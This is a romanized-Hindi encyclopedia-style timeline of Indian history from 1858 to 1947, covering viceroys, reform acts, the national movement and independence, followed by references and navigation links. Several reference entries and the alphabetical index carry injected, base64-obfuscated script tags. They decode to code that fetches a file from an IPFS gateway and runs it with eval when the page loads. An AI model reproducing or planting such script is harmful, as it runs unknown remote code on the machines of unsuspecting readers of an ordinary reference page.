453	1858 ee.	bharat ka shasan eest iandiya kampani se british sarakar ke hathoan mean. maharani viktoriya ka ghoshana patr. l aaurd kainiang ko vayasaray ki ek atirikt upadhi (tatpashchath gavarnar janaral ke sath vayasaray ka bhi prayog prarambh). samaj sudharak di. ke. karve ka janm (18 aprail). jagadish chandr bos ka janm (30 navambar), lakhanoo par aangrezoan ka punah adhikar.
454	1859 ee.	god-pratha ki samapti ki ghoshana radd. bangal mean nil vidroh. kastoori ranga ayangar ka janm (15 disambar). jems vilsan (suprim kauansil ka pratham vitt sadasy) dvara ayakar lagoo. kagaz ke not jari.
455	1861 ee.	bharatiy parishadh adhiniyam tatha bharatiy haeekorts adhiniyam lagoo. arkiyolajikal sarve af iandiya (e. es. aee.) ka gathan. dinabandhu mitr ka natak 'nil-darpan' prakashit. ravindranath thakur ka janm.
456	1862 ee.	sadar nyayalay uchch nyayalayoan ke sath ekikrit. bharatiy dand sanhita lagoo.
457	1862–63 ee.	l aaurd elgin pratham ka vayasaray kal.
458	1863 ee.	kalakatta mean abdul latif ki prerana se 'mohammadan esosieshan' ki sthapana. patana k aaulej ki sthapana.
459	1863–1902 ee.	svami vivekanand.
460	1864–69 ee.	sar j aaun lareans vayasaray.
461	1864 ee.	saiyyad ahamad dvara 'mohammadan saiantiphik sosayati' ki sthapana. madras mean brahmasamaj ki prerana se saman uddeshyoan vali sanstha sthapit. bankimachandr chatarji dvara 'durgesh nandani' upanyas ki rachana. (dakshin bharat)
462	1865 ee.	yoorop ke sath door sanchar vyavastha ka udaghatan. u disa mean durbhiksh.
463	1866 ee.	keshavachandr sen dvara 'bharatiy brahm samaj' ki sthapana. gopal krishna gokhale ka janm. 'eest iandiya esosieshan' ki sthapana tatha bad mean 'landan iandiya sosaiti' ka isamean viley.
464	1867 ee.	brahmasamaj ki prerana se bambee mean prarthana samaj ki sthapana. navagopal mitr dvara kalakatta mean svadeshi vastuoan ke prachar ke lie varshik mele ka udaghatan. ayakar punah lagoo kie jane ka virodh. 'poona sarvajanik sabha: sthapit.
465	1868 ee.	ambala se dilli tak relave lain ka udaghatan. shishir kumar ghosh dvara 'amrit bazar patrika' prakashit. bharat ka pratham sandhya samachar patr 'madras-mel' prakashit.
467	1869–72 ee.	l aaurd meyo ka vayasaray kal.
468	1869 ee.	dyook af edinabara ki bharat yatra. svej nahar ka udaghatan. mahatma gaandhi ka janm. thakkar bapa ka janm.
469	1870 ee.	meyo ka prantiy bandobast. lal sagar teligraf ki shuruat. deshabandhu chitaranjanadas ka janm (5 navambar). mahadev govind ranade prarthana sabha mean shamil.
470	1872 ee.	kooka vidroh. l aaurd meyo ki hatya (port bleyar mean). anand mohan bos dvara landan mean 'iandiyan sosayati' ki sthapana. janaganana prarambh.
471	1872–76 ee.	l aaurd narthabruk vayasaray.
472	1873 ee.	lahaur mean svadeshi vastuoan ke prachar ke lie 'svadeshi sabha' sthapit.
473	1874 ee.	bihar mean durbhiksh.
474	1875 ee.	svami dayanand sarasvati dvara 'ary samaj' ki sthapana. prians af vels edavard ki bharat yatra. saiyyad ahamad khan dvara 'mohammadan aianglo-oriental k aaulej' (aligadh) ki sthapana. ajamer mean 'meyo k aaulej' ki sthapana. amerika mean thiyos aauphikal sosayati ki sthapana. kalakatta mean 'iandiya lig' ki sthapana.
475	1876–80 ee.	l aaurd litan pratham ka vayasaray kal.
476	1876 ee.	kketa par aangrezi sena ka adhikar. kalakatta mean 'iandiyan esosieshan' ki sthapana. aee.si.es. (bharatiy prashasanik seva) pariksha mean shamil hone ke lie ayu sima mean katauti.
477	1877 ee.	l aaurd litan ka dilli darabar. maharani viktoriya bharat ki samrajni ghoshit. surendranath banarji dvara dilli mean 'dilli darabar' ke avasar par pahali 'netiv pres aisosieshan' ki sthapana (ve svayan isake sachiv bane). aee.si.es. ki pariksha landan ke sath-sath bharat mean bhi ayojit kie jane ki maang. saiyyad amir ali ne 'neshanal mohammadan esosieshan' ki sthapana ki.
478	1878 ee.	litan ka varnakyoolar pres ekt lagoo, doosara afagan yuddh arambh. kalakatta mean bharatiy patrakaroan ki 'netiv pres kaanphreans' ka pahala sammelan. 'sadharan brahm samaj' ki sthapana.
479	1879 ee.	adayar (madras) mean maidam blavatsaki (roosi) tatha karnal alk aaut (amerika) dvara 'thiyosofikal sosaiti' ki sthapana. chakravarti rajagopalachari ka janm (7 disambar). litan dvara ianglaiannd se ayatit sooti mal par ayat kar hataya gaya.
480	1880–84 ee.	durbhiksh ayog ki sthapana. afaganistan ke prati british niti mean parivartan. d aau. pattabhi sitaramaiyya ka janm (24 disambar).
481	1881 ee.	pahala phaiktri adhiniyam. maisoor rajy usake mool shasakoan ko sauanpa gaya. 'trabiyoon', 'kesari' tatha 'maratha' ka prakashan.
482	1882 ee.	varnakyoolar pres ekt nirast. hantar ayog, bharatiy shiksha ayog, panjab vishvavidyalay ki sthapana. soorat mean 'prajahitavardhak sabha' ka gathan, purushottam das tandan ka janm.
483	1883 ee.	ilbart bil gavarnar-janaral ki vidhan parishadh mean prastut. bharatiy rashtriy sammelan ka ayojan.
484	1884–88 ee.	l aaurd dafarin vayasaray.
485	1884 ee.	keshavachandr sen ki mrityu (8 janavari). d aau. rajendr prasad ka janm (3 disambar). madras mean 'mahajan sabha' sthapit. (dakshin bharat)
486	1885 ee.	bharatiy rashtriy kaangres ki sthapana tatha pahala adhiveshan bambee ke gokuladas tejapal sanskrit skool mean. bangal teneansi ekt parit, bangal sthaniy svashasan. adhiniyam parit, aangl-barma yuddh. bambee presidensi esosieshan ki sthapana.
487	1886 ee.	uttari barma ka british samrajy mean vilay. afaganistan ki uttari sima ka nirdharan. ramkrishna paramahans ki mrityu. kaangres ke doosare adhiveshan mean panjab ke pratinidhi lala muralidhar ka hindi mean bhashan. kaangres ke manch se hindi mean yah pahala bhashan tha.
488	1887 ee.	maharani viktoriya ke shasanakal ki svarn jayanti. ilahabad vishvavidyalay ki sthapana. shivanarayan agnihotri dvara 'dev samaj' ki sthapana.
489	1888 ee.	karnal thiyodor baiank dvara 'yoonaited iandiyan paitriy aautik esosieshan' ki sthapana.
490	1888–94 ee.	l aaurd lainsadaun vayasaray.
491	1889 ee.	prians af vels ki bharat ki doosari yatra. jamanalal bajaj, khudiram bos tatha javaharalal neharoo ka janm.
492	1891 ee.	dvitiy phaiktri adhiniyam. sahavas varsh adhiniyam (ej aauf k aaunasent ekt), manipur mean vidroh, d aau. bhimarav ambedakar ka janm (14 aprail).
493	1892 ee.	bharatiy parishadh adhiniyam, chunav ki pranali nirdharat.
494	1893 ee.	eni besent ka bharat agaman, svami vivekanand shikaango sammelan ke lie amerika ravana.
495	1894 ee.	natal (dakshin afrika) mean bharatiy rashtriy kaangres ki sthapana (kaangres ke lahaur (1893) adhiveshan se prabhavit hokar).
496	1894–99 ee.	l aaurd elgin dvitiy ka vayasaray kal.
497	1896 ee.	bambee mean pleg.
498	1897 ee.	bharatiy shiksha seva ka gathan. subhashachandr bos ka janm. lokamany tilak ko shivaji se sambodhit desh ke bhakti ke pady likhane ke arop mean 18 mah ki k di qaid.
499	1898 ee.	'prarthana samaj' (bambee) dvara ek dalit varg mishan prarambh.
500	1899–1905 ee.	l aaurd karzan vayasaray.
501	1900 ee.	bhoomi svamitv-parishadh adhiniyam, durbhiksh ayog, kaangres ke manch se pahali mahila shrimati kadambini gaanguli ka bhashan.
502	1901 ee.	maharani viktoriya ki mrityu, edavard saptam sianhasanaroodh, uttar-pashchim sima prant ka gathan.
503	1904 ee.	koaparetiv sosayati adhiniyam, puratattv vibhag ki sthapana, bharatiy vishvavidyalay adhiniyam, jatindradas ka janm.
504	1905 ee.	bangal vibhajan, l aaurd marle bharatiy mamaloan ke sachiv niyukt.
505	1905–10 ee.	l aaurd minto dvitiy ka vayasaray kal.
506	1906 ee.	kaangres (kalakatta adhiveshan) manch se dadabhaee nauroji dvara 'svaraj' shabd ka pahali bar prayog. dhaka mean 'muslim lig' ki sthapana.
507	1907 ee.	soorat adhiveshan mean kaangres vibhajit. eni besent thiyosophikal sosayati ki adhyaksh bani. tata ispat karakhane se ispat ka utpadan prarambh.
508	1908 ee.	samachar patr adhiniyam. khudiram bos ko phaansi. tilak par rajadroh ka mukadama.
509	1909 ee.	m aaurle minto sudhar. bharatiy parishadh adhiniyam parit. vayasaray ke karyakari parishadh mean pratham bharatiy (ech. pi. sinha) ki niyukti. madan lal dhiangara dvara landan mean karzan vaili ki hatya. dakshin afrika jate hue jahaz par gaandhi ji ne 30 hazar shabdoan ki 'hindi svaraj' namak pustak likhi.
510	1910–16 ee.	l aaurd hardiang dvitiy ka vayasaray kal.
511	1910 ee.	edavard tritiy ki mrityu, jarj pancham sianhasanaroodh.
512	1911 ee.	dvitiy dilli darabar. samrat jarj pancham ki bharat yatra. bangal vibhajan radd. rajadhani kalakatta se dilli sthanantarit karane ki ghoshana. janaganana.
513	1912 ee.	rajadhani kalakatta se dilli sthanantarit. dilli prant ka gathan. l aaurd hardiang dilli mean bam visphot mean ghayal. javahar lal neharoo pahali bar kaangres adhiveshan (baankipur) mean upasthit. iansliangtan kamishan ka gathan. abulakalam azad dvara 'al-hilal' akhabar prakashit.
514	1913 ee.	ravindranath taigor ko nobel puraskar. firojashah mehata dvara 'd bambee kr aaunikal' ki shuruat. sain fraansisko mean gadar parti ka gathan.
515	1914 ee.	tilak maandale jel se riha. 'ph aaurest risarch ianstityoot' ki sthapana. panama nahar ki shuruat. eni besent dvara 'nyoo iandiya' prakashit.
516	1914–18 ee.	pratham vishv yuddh. briten dvara turki ke viruddh hamala.
517	1915 ee.	bharatiy suraksha adhiniyam. gaandhi ji dakshin afrika se laute. ahamadabad mean satyagrah ashram ki sthapana. gopal krishna gokhale ka nidhan. eni besent dvara 'homarool lig' ke gathan ki ghoshana (25 sitambar).
518	1916 ee.	lokamany tilak dvara 'homarool lig' ki sthapana (26 aprail). kaangres-muslim lig ke bich 'lakhanoo samajhauta'. poona mean pratham mahila vishvavidyalay ki sthapana. banaras hindoo vishvavidyalay ki sthapana. dadabhaee nauroji ka nidhan.
519	1916–1921 ee.	l aaurd chemsaphord ka vayasaray kal.
520	1917 ee.	maantegyoo bharat-mantri niyukt tatha inaki bharat yatra. kaangres tatha muslim lig ki bambee mean pahali sanyukt baithak. 'maantegyoo ghoshana'. bharat mean svayattashasi sansthaoan ka kramik vikas tatha uttaradayi sarakar ki sthapana. gaandhi ji dvara champaran satyagrah arambh. homarool aandolan ke silasile mean eni besent bandi. shiksha se sambandhit saidalar ayog ki niyukti. raulat ekt kameti ka gathan.
521	1918 ee.	raulat ekt riport tatha maantegyoo-chemsaphord riport prakashit. senamean afasaroan ke pad par niyukti ke lie bharatiy arh ghoshit. rasabihari bos ki adhyakshata mean 'bangiy janasabha' ki sthapana. surendranath banarji ki adhyakshata mean bambee mean al iandiya m aaudaret kaanphreans ayojit. gaandhi ji ke dvara ahamadabad kap da majadooroan ki maang ke samarthan mean satyagrah ke roop mean pahali bar bhookh h datal ka prayog kiya gaya. surendranath banarji neshanal libaral lig ke adhyaksh nirvachit.
522	1919 ee.	maantegyoo-chemsaphord sudhar parit. raulat ekt parit. jaliyaanvala bag narasanhar. khilaphat kameti ki sthapana. ravindranath thakur dvara sar ki upadhi vapas. bambee mean mil majadooroan ka pahala sammelan. eni besent ki adhyakshata mean dilli mean pahala akhil bharatiy mahila sammelan ayojit. ilahabad mean 'lidar samachar patr' ke karyalay mean 'uttar pradesh libareshan esosieshan' ki sthapana. tritiy afagan yuddh. bharatiy sarakar adhiniyam 1919 parit.
523	1920 ee.	khilafat tatha asahayog aandolan arambh. gaandhi ji dvara boar yuddh mean mila 'kesar-e-hind' padak sarakar ko vapas. l aaurd sinha bihar-u disa ke gavarnar. kaangres ka netritv gaandhiji ke hath mean. 'akhil bharatiy tred yooniyan kaangres' ki sthapana. aligadh muslim vishvavidyalay ki sthapana. tilak ki mrityu. hantar samiti ki riport prakashit.
524	1921–1926 ee.	l aaurd ridiang ka vayasaray kal.
525	1921 ee.	prians af vels edavard ki bharat yatra. 'chembar af prianses' ki sthapana. vijayava da akhil bharatiy kaangres kameti sammelan mean tilak svaraj kosh ke lie ek karo d rupaye ekatrit karane ka nirnay (1 aprail). dilli akhil bharatiy kaangres kameti mean gaandhi ji ka savinay avajna aandolan prastap parit (4 navambar). mopala vidroh (20 navambar). gurudvara sudhar aandolan, bolapur ([[pashchim bangal]) mean 'vishvabharati shanti niketan vishvavidyalay' ki sthapana. h dappa mean utkhanan prarambh. bharat sarakar adhiniyam 1919 lagoo.
526	1922 ee.	kalakatta mean savinay avajna aandolan arambh (15 joon). chauri-chaura kaand (5 faravari). baradoli mean kaangres karyasamiti dvara savinay avajna aandolan sthagit karane ka nirnay (12 faravari). kaangres dvara samoohik savinay avajna aandolan sthagit (31 disambar). motilal neharoo tatha chitaranjan das dvara 'svaraj parti' ki sthapana. maantegyoo ka istifa.
527	1923 ee.	madan mohan malaviy dvara 'iandiyan parti' ki sthapana. bambee mean kap da majadooroan ki 'girani kamagar yooniyan' sthapit. 'hindustan ripablikan esosiesan' ki sthapana. namak-kar qanoon parit. sena ki kuchh bataliyanoan ki qaman ka bharatiyakaran. praphull chandr dvara ahamadabad mean gujarat vidyapith ki adharashila, kamal pasha dvara turki ko dharmanirapeksh rajy ghoshit karane se khilafat aandolan svatah samapt. svarajiyoan ka parishadoan mean pravesh.
528	1924 ee.	kanapur k aaunsipiresi kes. gaandhi ji pahali bar evan antim bar kaangres adhyaksh (belagaanv).
529	1925 ee.	akhil bharatiy dalit varg esosieshan ki sthapana. aantaravidyalay bord gathit. akhil bharatiy kaangres kameti ki karyavahiyoan ke lie hindustani bhasha ki svikriti (26 disambar). sikh gurudvara parit. chitaranjan das ka nidhan. vitthalabhaee patel vidhanasabha mean pratham bharatiy adhyaksh niyukt. shanti niketan mean gaandhi ji tatha ravindranath thakur mean samajik samasyaoan par batachit (30 mee). l aaurd litan dvitiy sthanapann vayasaray.
530	1926–31 ee.	l aaurd iravin vayasaray.
531	1926 ee.	tred yooniyan ekt parit. rupaye ka avamoolyan. dilli mean 'al iandiya prohibeshan lig' (akhil bharatiy nashabandi lig) ki sthapana (31 janavari). akhil bharatiy kaangres kameti dvara svaraj parti ke sadasyoan ko kendriy vidhanasabha se tyagapatr dene ka prastav parit (6 march). gaandhi ji dvara guvahati adhiveshan mean svadhinata prastav ka virodh (26 disambar).
532	1927 ee.	saiman kamishan ki niyukti. bharatiy nausena adhiniyam. kaangres ke madras adhiveshan mean svatantrata ke lakshy ki ghoshana. poona mean b dauda ki maharani ki adhyakshata mean 'akhil bharatiy sammelan' ayojit (5 joon). ilahabad mean pandit madan mohan malaviy ki adhyakshata mean ayojit sarvadaliy sammelan dvara saiman kamishan ka bahishkar karane ka nirnay (11 disambar). muslim lig ka vibhajan (29 disambar).
533	1928 ee.	d aau. aansari ki adhyakshata mean sarvadaliy bahishkar sammelan banaras mean ayojit. saiman kamishan ke bharat agaman par 3 faravari ko h datal ka ahvan (15 janavari). saiman kamishan bharat mean aya (3 faravari). neharoo riport, hindustan ripablikan ki vibhinn shakhaoan ko sangathit kar 'hindustan soshalist ripablik' ki sthapana (8-9 disambar) (isaka nirnay sukhadev, shivavarma, phanindranath bos, bhagat sianh, vijay kumar sinha tatha kuandanalal vidyarthi dvara firozashah kotala stediyam, dilli mean ek gupt baithak mean liya gaya. chandrashekhar azad baithak mean nahian the, parantu unhean esosieshan ke sashastr vibhag ka pradhan niyukt kiya gaya.) saiman kamishan ka virodh karate samay pulis lathicharj mean lala lajapat ray ghayal (17 navambar). kalakatta mean javahar lal neharoo ki adhyakshata mean 'akhil bharatiy samajavadi yuva kaanges' ka pahala sammelan (27 disambar). kaangres adhiveshan mean gaandhiji ki ghoshana—"yadi ap mere sath sahayog karean aur eemanadari tatha buddhimata se kam karean to sal bhar mean svaraj mil jaega" (31 disambar). kaangres adhiveshan mean dominiyan stets ke paksh mean prastav parit tatha subhashachandr bos ka poorn svadhinata prastav asvikrit. 'iandipendeans lig' ki sthapana. krishi ke lie shahi ayog ki niyukti.
534	1929 ee.	ilahabad mean abulakalam azad ki adhyakshata mean 'akhil bharatiy muslim soshalist parti' ki sthapana (isase pahale rashtravadi musalaman neta saiyyad ahamad barelavi tatha yusoof muhar ali dvara 'kaanges muslim parti ki sthapana) (27-28 julaee). kendriy asembali mean bhagatasianh v batukeshvar datt dvara bam pheanka gaya (8 aprail). krishi shodh parishadh ka gathan. merath sh dayantr ke abhiyuktoan par mukadama arambh. lahaur sh dayantr ke abhiyukt jatin das ki 64 dinoan ki bhookh h datal ke bad mrityu. 166 din ki bhookh h datal ke bad rangoon jel mean phooanji vijaja ki mrityu. l aaurd iravin ki ghoshana. bharat ka sanvaidhanik pragati ka lakshy aupacharik rajy ki sthapana (31 aktoobar). lahaur mean kaanges ke 44vean adhiveshan mean javahar lal neharoo ki adhyakshata mean svarajy ka prastav parit (29 disambar). 31 disambar ki madhyaratri ke samay pandit javaharalal neharoo ne ravi tat par tiranga phaharaya.
535	1930 ee.	javahar lal neharoo dvara 26 janavari ko svadhinata divas ke roop mean manane ka ahvan (7 janavari). hindustan ripablikan sosayati dvara 'bam ka darshan' namak parchi prakashit (2 faravari). akhil bharatiy kaangres parti dvara savinay avajna aandolan (namak) ka karyakram svikrit (19 faravari). daandi yatra arambh (12 march). namak qanoon to da gaya (6 aprail). 28 march ko 'anand bhavan' desh ko samarpit tatha 11 aprail ko 'svaraj bhavan' ke roop mean namakaran. subhashachandr bos kalakatta nagar nigam ke meyar nirvachit (22 agast). si. vi. raman ko bhautiki ka nobel puraskar (14 navambar). pratham golamej sammelan landan mean. kaangres karyasamiti gairaqanooni ghoshit (25 agast).
536	1931–1936 ee.	vayasaray l aaurd viliangatan ka vayasaray kal.
537	1931 ee.	kaangres karyasamiti par se pratibandh hata (26 janavari). lakhanoo mean motilal neharoo ka nidhan (5 faravari). ilahabad mean pulis muthabhe d mean chandrashekhar azad ki mrityu (27 faravari). gaandhi-iravin samajhauta (march). lahaur mean ravi tat par bhagat sianh, rajaguru tatha sukhadev ko phaansi (23 march). shok svaroop gaandhi ji ko karachi adhiveshan mean yuva krantikariyoan dvara kale phool bheant (31 march). bambee kaangres haus mean sarojini nayadoo dvara rashtriy jhanda divas ka udaghatan (26 aprail). kaangres karyasamiti ki or se gaandhiji ko golamej sammelan mean kaangres ka pratinidhi niyukt kiya gaya (10 joon). gaandhiji dvara prastavit charakha yukt jhanda rashtriy kaangres ka dhvaj bana (1 agast). sanyukt prant mean lagan-roko aandolan (11 disambar). r aauyal lebar kamishan ki riport prakashit.
538	1932 ee.	sarakar dvara prastavit sanvaidhanik shasan sudharoan par shvetapatr prakashit. merath sh dayantr kes ke 27 abhiyuktoan ko saza (16 janavari). gaandhi ji dvara vyaktigat satyagrah arambh (26 joon). eni besent ka dehant (20 sitambar). pahali bar 'pakistan' shabd ka prayog. gaandhiji dvara saptahik 'harijan' ki shuruat. raimje maikdonald dvara 16 agast ko sampradayik nirnay ki ghoshana. 24 sitambar ko gaandhiji aur ambedakar ke madhy poona samajhauta sampann.
539	1934 ee.	savinay avajna aandolan vapas. patana mean achary narendradev ki adhyakshata mean 'kaangres samajavadi parti' ke gathan ki ghoshana (17 mee). kaangres chunav ghoshana patr prakashit (14 joon). gaandhi ji kuchh samay ke lie kaangres se alag (17 sitambar). bambee mean sampoornanand ki adhyakshata mean 'akhil bharatiy kaangres soshalist parti' ka aupacharik udaghatan (21 aktoobar). uttari bharat mean bhari bhookamp. bihar mean bhishan tabahi.
540	1935 ee.	bharat sarakar adhiniyam 1935 parit (agast). bharat-briten vyapar samajhauta. gaandhi ji ke sathi tatha satyagrah aandolan mean jel jane vale pratham vyakti mohan lal pandya ka nidhan (18 mee). gaandhiji dvara mira ben ke lie vardha ke pas seva gaanv ke ashram (sevashram) ki sthapana (22 aktoobar).
541	1936–44 ee.	l aaurd linalithago ka vayasaray kal.
542	1936 ee.	samrat j aaurj pancham ka nidhan (21 janavari). j aaurj shashtam samrat bane. akhil bharatiy kaangres kameti adhiveshan mean kaangres karravaee ki bhasha hindi banae jane sambandhi prastav asvikrit (23 agast).
543	1937 ee.	sanghiy nyayalay ki sthapana. prantiy svashasan ka udaghatan (aprail). 11 mean se 7 prantoan mean kaangres mantrimandal gathit. madhy prant mean d aau. en. ji. khare dvara desh ka pahala mantrimandal gathit (9 joon). kendriy vidhanasabhi mean chiantamani deshamukh dvara prastut pati ki sampatti mean vidhavaoan ko uttaradhikar dilane vala vidheyak parit (5 faravari). gaandhi ji ke netritv mean akhil bharatiy shiksha kaanfreans dvara nee shiksha niti ka niyojan.
544	1938 ee.	subhashachandr bos kaangres ke adhyaksh nirvachit. bi. di. savarakar hindoo mahasabha ke adhyaksh nirvachit. sharatachandr chatarji tatha mohammad iqabal ki mrityu.
545	1939 ee.	tripura adhiveshan mean subhashachandr bos kaangres ke adhyaksh pad par dubara nirvachit tatha bad mean tyagapatr (28 aprail). bos dvara 'pharavard blak' ki sthapana (3 mee). dvitiy vishvayuddh arambh (3 sitambar). vishvayuddh mean bharat ko bina ijazat shamil karane ke virodhasvaroop prantiy kaangres mantrimandaloan ka tyagapatr. jinna dvara kaangres shasan se mukti ke lie 22 disambar ko 'mukti divas' ke roop mean manane ka ahvan (8 aktoobar).
546	1940 ee.	maulan abulakalam azad kaangres adhyaksh. muslim lig ke lahaur adhiveshan mean jinna dvara musalamanoan ke lie prithak desh ki maang (22 march). kaangres karyasamiti dvara gaandhi ji ka vyaktigat satyagrah svikrit (13 aktoobar). vinoba bhave pahale vyaktigat satyagrahi.
547	1941 ee.	japan dvara yuddh ki ghoshana. jinna dvara pakistan ki parikalpana par kaangres ki svikriti ki maang (17 aprail). subhashachandr bos nazarabandi se bhagakar kalakatta se jarmani pahuanche.
548	1942 ee.	barma mean aangrezoan ka atmasamarpan. akhil bharatiy kaangres kameti ke bambee adhiveshan mean 'aangrezoan, bharat chho do' prastav parit tatha deshavyapi aandolan shuroo (8 agast).
549	1943 ee.	muslim lig ne apane karachi adhiveshan mean 'divaid eand kkit' (baantoan aur chho do) slogan ko parit kiya.
550	1944–47 ee.	l aaurd vevel ka vayasaray kal.
551	1944 ee.	asam par japani akraman. lahaur mean pramukh akali neta sherasianh ki ghoshana ki desh vibhajan ya pakistan ki maang ko svikriti di gee to sikh bhi alag svatantr rashtr ki maang kareange (1 sitambar). si. rajagopalachari ke sujhavoan par sanvaidhanik a dachan ke lie gaandhiji-jinna varta (9 sitambar). azad hind fauj bharat ke nikat pahuanchi.
552	1945 ee.	briten mean lebar parti ki sarakar. dvitiy vishvayuddh ki samapti. l aaurd vevel ki ghoshana. azad hind fauj ka atmasamarpan tatha un par pahali bar mukadama.
553	1946 ee.	kaibinet mishan bharat mean. nausena vidroh (18 faravari). muslim lig ne 16 agast ko 'sidhi karravaee' divas manaya. aantarim sarakar ka gathan (2 sitambar). javahar lal neharoo pradhanamantri niyukt. muslim lig aantarim sarakar mean shamil (26 aktoobar). sanvidhan sabha ki pahali baithak (disambar). kaibinet mishan yojana ki ghoshana (16 joon).
554	1947–48 ee.	l aaurd mauntabetan ka vayasaray kal (24 march se).
555	1947 ee.	british sansad mean pradhanamantri klimeant richard hedali dvara joon, 1948 tak aangrezoan ke bharat chho dane ke nirnay ki ghoshana (20 faravari). maunt betan dvara joon, 1948 ke sthan par 15 agast, 1947 ko satta hastaantaran karane ka nirnay (3 joon). akhil bharatiy kaangres samiti dvara vibhajan prastav parit (15 joon). british sansad mean bharat-pakistan vibhajan parit tatha 15 agast, 1947 ko satta hastaantaran sambandhi 'bharatiy svadhinata adhiniyam' 4 julaee, 1947 ko sansad mean pesh kiya gaya. bharatiy svadhinata adhiniyam ko british samprabhu (samrat) ki svikriti (18 julaee). 14 agast ko pakistan bana tatha 15 agast ko bharat svadhin. javaharalal neharoo pradhanamantri tatha l aaurd mauntabetan gavarnar-janaral bane.

bharat ke rajyoan ka itihas

bahari k diyaan

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

REDIRECT saancha:tippanisoochi

↑ dekhean: shodh granth vels, spensar (2002) a jenetik odisi (aangrezi). prinsatan yoonivarsiti prॅs, nyoo jarsi, san.ra.amarika. ISBN 0-691-11532-X.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ pustak 'bharat ka itihas' romila thapar) prishth sankhya-19
↑ Juzr or Jurz.. Persian Texts in Translation The Packard Humanities Institute. Archived from the original on 2007-09-29. abhigaman tithi: 2007-05-31.
↑ John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age. Bharatiya Vidya Bhavan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ 1975 ee. mean purtagali shasan ne vastavikata ko samajhakar isako vaidhanik manyata de di hai.

link=praangan:mukhaprishth/itihas

vistar mean padhean itihas praangan (portal)

sanbandhit lekh

bahamani vansh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au 